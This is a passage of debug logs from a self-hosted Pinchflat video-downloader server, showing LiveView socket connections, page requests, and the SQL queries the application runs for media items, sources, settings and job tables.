((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:08:23.958 [info] Sent 200 in 15ms 23:08:24.007 [info] CONNECTED TO Phoenix.LiveView.Socket in 38µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "IkFOWW5TOxpgZj0dLiUwGXcLOR0VTDRrcqvtYgjTPRKhhDXRZLrVYtuS", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:08:24.029 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "downloaded"} 23:08:24.030 [debug] QUERY OK source="media_items" db=0.3ms idle=79.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:24.030 [debug] QUERY OK source="media_items" db=0.6ms idle=79.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:08:24.031 [debug] QUERY OK source="sources" db=0.4ms idle=79.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:08:24.032 [debug] Replied in 2ms 23:08:24.036 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "pending"} 23:08:24.037 [debug] QUERY OK source="media_items" db=0.5ms idle=81.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:08:24.038 [debug] QUERY OK source="media_items" db=1.0ms idle=80.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:08:24.039 [debug] Replied in 2ms 23:08:24.040 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:08:24.040 [debug] QUERY OK source="tasks" db=0.3ms idle=10.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:08:24.040 [debug] Replied in 847µs 23:08:24.041 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:08:24.041 [debug] Replied in 153µs 23:08:24.792 [info] GET / 23:08:24.792 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:08:24.793 [debug] QUERY OK source="settings" db=0.2ms idle=761.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:24.793 [debug] QUERY OK source="media_profiles" db=0.1ms idle=756.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:08:24.794 [debug] QUERY OK source="sources" db=0.1ms idle=755.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:08:24.795 [debug] QUERY OK source="media_items" db=0.6ms idle=753.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:24.795 [debug] QUERY OK source="media_items" db=0.2ms idle=729.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:24.795 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:24.796 [debug] QUERY OK source="settings" db=0.2ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:24.796 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:24.798 [debug] QUERY OK source="tasks" db=0.3ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:08:24.799 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:24.800 [debug] QUERY OK source="media_items" db=0.6ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:08:24.801 [debug] QUERY OK source="sources" db=0.3ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:08:24.803 [debug] QUERY OK source="media_items" db=0.1ms idle=6.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:08:24.803 [debug] QUERY OK source="media_items" db=0.1ms idle=5.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:08:24.804 [info] Sent 200 in 11ms 23:08:24.833 [info] CONNECTED TO Phoenix.LiveView.Socket in 65µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "L1pvVGdEKz5vdycgDRARKnkdPiwEbDYLnjWyPpzp_CQUKqyaTZugHTw3", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:08:24.840 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "downloaded"} 23:08:24.840 [debug] QUERY OK source="media_items" db=0.2ms idle=41.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:24.841 [debug] QUERY OK source="media_items" db=0.6ms idle=41.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:08:24.842 [debug] QUERY OK source="sources" db=0.4ms idle=41.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:08:24.842 [debug] Replied in 2ms 23:08:24.847 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "pending"} 23:08:24.848 [debug] QUERY OK source="media_items" db=0.4ms idle=43.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:08:24.849 [debug] QUERY OK source="media_items" db=0.8ms idle=44.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:08:24.849 [debug] Replied in 2ms 23:08:24.849 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:08:24.850 [debug] QUERY OK source="tasks" db=0.2ms idle=9.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:08:24.850 [debug] Replied in 733µs 23:08:24.851 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:08:24.851 [debug] Replied in 71µs 23:08:29.023 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:31.256 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 23:08:31.257 [debug] QUERY OK source="media_items" db=0.3ms idle=750.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:31.258 [debug] QUERY OK source="media_items" db=0.6ms idle=751.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 23:08:31.258 [debug] QUERY OK source="sources" db=0.2ms idle=752.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:08:31.259 [debug] Replied in 2ms 23:08:32.364 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 23:08:32.365 [debug] QUERY OK source="media_items" db=0.4ms idle=1286.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:32.366 [debug] QUERY OK source="media_items" db=0.6ms idle=1108.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:08:32.367 [debug] QUERY OK source="sources" db=0.3ms idle=1108.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:08:32.367 [debug] Replied in 3ms 23:08:38.349 [info] GET /sources 23:08:38.349 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 23:08:38.350 [debug] QUERY OK source="settings" db=0.2ms idle=1259.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:38.350 [debug] QUERY OK source="settings" db=0.1ms idle=843.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:38.351 [debug] QUERY OK source="settings" db=0.1ms idle=844.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:38.352 [debug] QUERY OK source="settings" db=0.1ms idle=844.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:38.352 [debug] QUERY OK source="settings" db=0.1ms idle=259.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:38.354 [debug] QUERY OK source="sources" db=0.8ms queue=0.6ms idle=2.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' 